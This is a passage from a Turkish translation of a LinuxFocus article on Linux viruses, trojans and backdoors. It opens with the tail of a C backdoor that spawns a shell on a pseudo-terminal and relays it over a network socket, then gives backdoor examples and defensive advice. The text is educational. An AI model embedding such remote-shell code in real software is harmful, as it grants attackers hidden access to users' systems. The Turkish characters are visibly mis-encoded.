(pty_maitre); nom_pty = ptsname (pty_maitre); tcgetattr (STDIN_FILENO, & termios); if (fork () == 0) { /* Son: shell execution in the slave pseudo-TTY */ close (pty_maitre); setsid(); pty_esclave = open (nom_pty, O_RDWR); tcsetattr (pty_esclave, TCSANOW, & termios); dup2 (pty_esclave, STDIN_FILENO); dup2 (pty_esclave, STDOUT_FILENO); dup2 (pty_esclave, STDERR_FILENO); execv (args [0], args); exit (1); } /* Father: copy of the socket to the master pseudo-TTY and vice versa */ tcgetattr (pty_maitre, & termios); cfmakeraw (& termios); tcsetattr (pty_maitre, TCSANOW, & termios); while (1) { FD_ZERO (& set); FD_SET (sock2, & set); FD_SET (pty_maitre, & set); if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1, & set, NULL, NULL, NULL) < 0) break; if (FD_ISSET (sock2, &set)) { if ((n = read (sock2, buffer, 4096)) < 0) break; write (pty_maitre, buffer, n); } if (FD_ISSET (pty_maitre, &set)) { if ((n = read (pty_maitre, buffer, 4096)) < 0) break; write (sock2, buffer, n); } } return (0); }
Böyle küçük bir kodun büyük bir uygulamadan filtre edilmesi uzun zaman alýr . Arka kapýlar sadece teorik olasýlýklar olarak düþünülmemelidir. Örneðin Red Hat 6.2 nin Piranha paketi varsayýýlan(default) þifreyi kabul eder. Quake 2 adlý oyunda arka kapý bulundurmaktadýr . Arka kapý mekanizmalarý kendilerin çok karmaþýk görünümlerdede saklarlar ve bir çok kullanýcý tarafýndan farkedilmezler.Örneklerini þifreleme sistemlerinde görebiliriz.Örneðin SE-Linux , NSA tarafýndan geliþtirilen güvenlik yamalarýný kullanmaktadýr. Fakat hiç bir Linux geliþtiricisi kesin olarak yamalarý kontrol ettiðini ve bir açýk bulunmadýðýný iddia edemez ve emin olamaz . Çok az kiþi bu tip zayýflýklarý farkedecek Matematik bilgisine sahiptir .
Sonuç olarak Gnu/Linux dünyasýndaki ücretsiz yazýlýmlar tamamýyla güvenli deðildir. Çok da aceleci ve endiþeli olmadan gerekli önlemleri almak, yazýlýmlarý mümkün olan en kýsa sürede güncellemek , sadece gerekli að servislerini kullanmak , güvenilen sitelerden uygulama indirmek , indirilen paketlerin PGP yada MD5 yeterliliðinin olmasýna dikkat etmek yararlý olacaktýr .
Linux sistemleri yakýn gelecekte iki ana tehlike beklemektedir . Birincisi üretim uygulamalarýnýn dökümanlardaki makrolarý yorumlamasý ; ikincisi çok platformlu virüsler. Birinci problemde kulanýcý alýþkanlýklarý düzenlenerek sorun giderilebilsede ikinci problemi çözmek zordur. Umarýz çok yakýn bir zamanda Linux makinalarda daha güçlü virüs denetçisi programlar oluþturulur.
Yazýlýmlarý tehdit eden virüsler , truva atlarý,... nasýl çalýþtýklarý , ne yaptýklarý , hakkýnda bir çok kaynak bulunmaktadýr . Bu kaynaklarýn bir çoðu DOS/Windows için geçerli gibi gözüksede , bazýlarý Linux uda yakýndan ilgilendirmektedir. Bura konu edilen makaleler genel olarak teorik mekanizmalarý analiz etmektedir.
|
Görselyöre sayfalarýnýn bakýmý, LinuxFocus Editörleri tarafýndan yapýlmaktadýr
© Christophe Blaess, FDL LinuxFocus.org |
Çeviri bilgisi:
|
2002-09-23, generated by lfparser version 2.31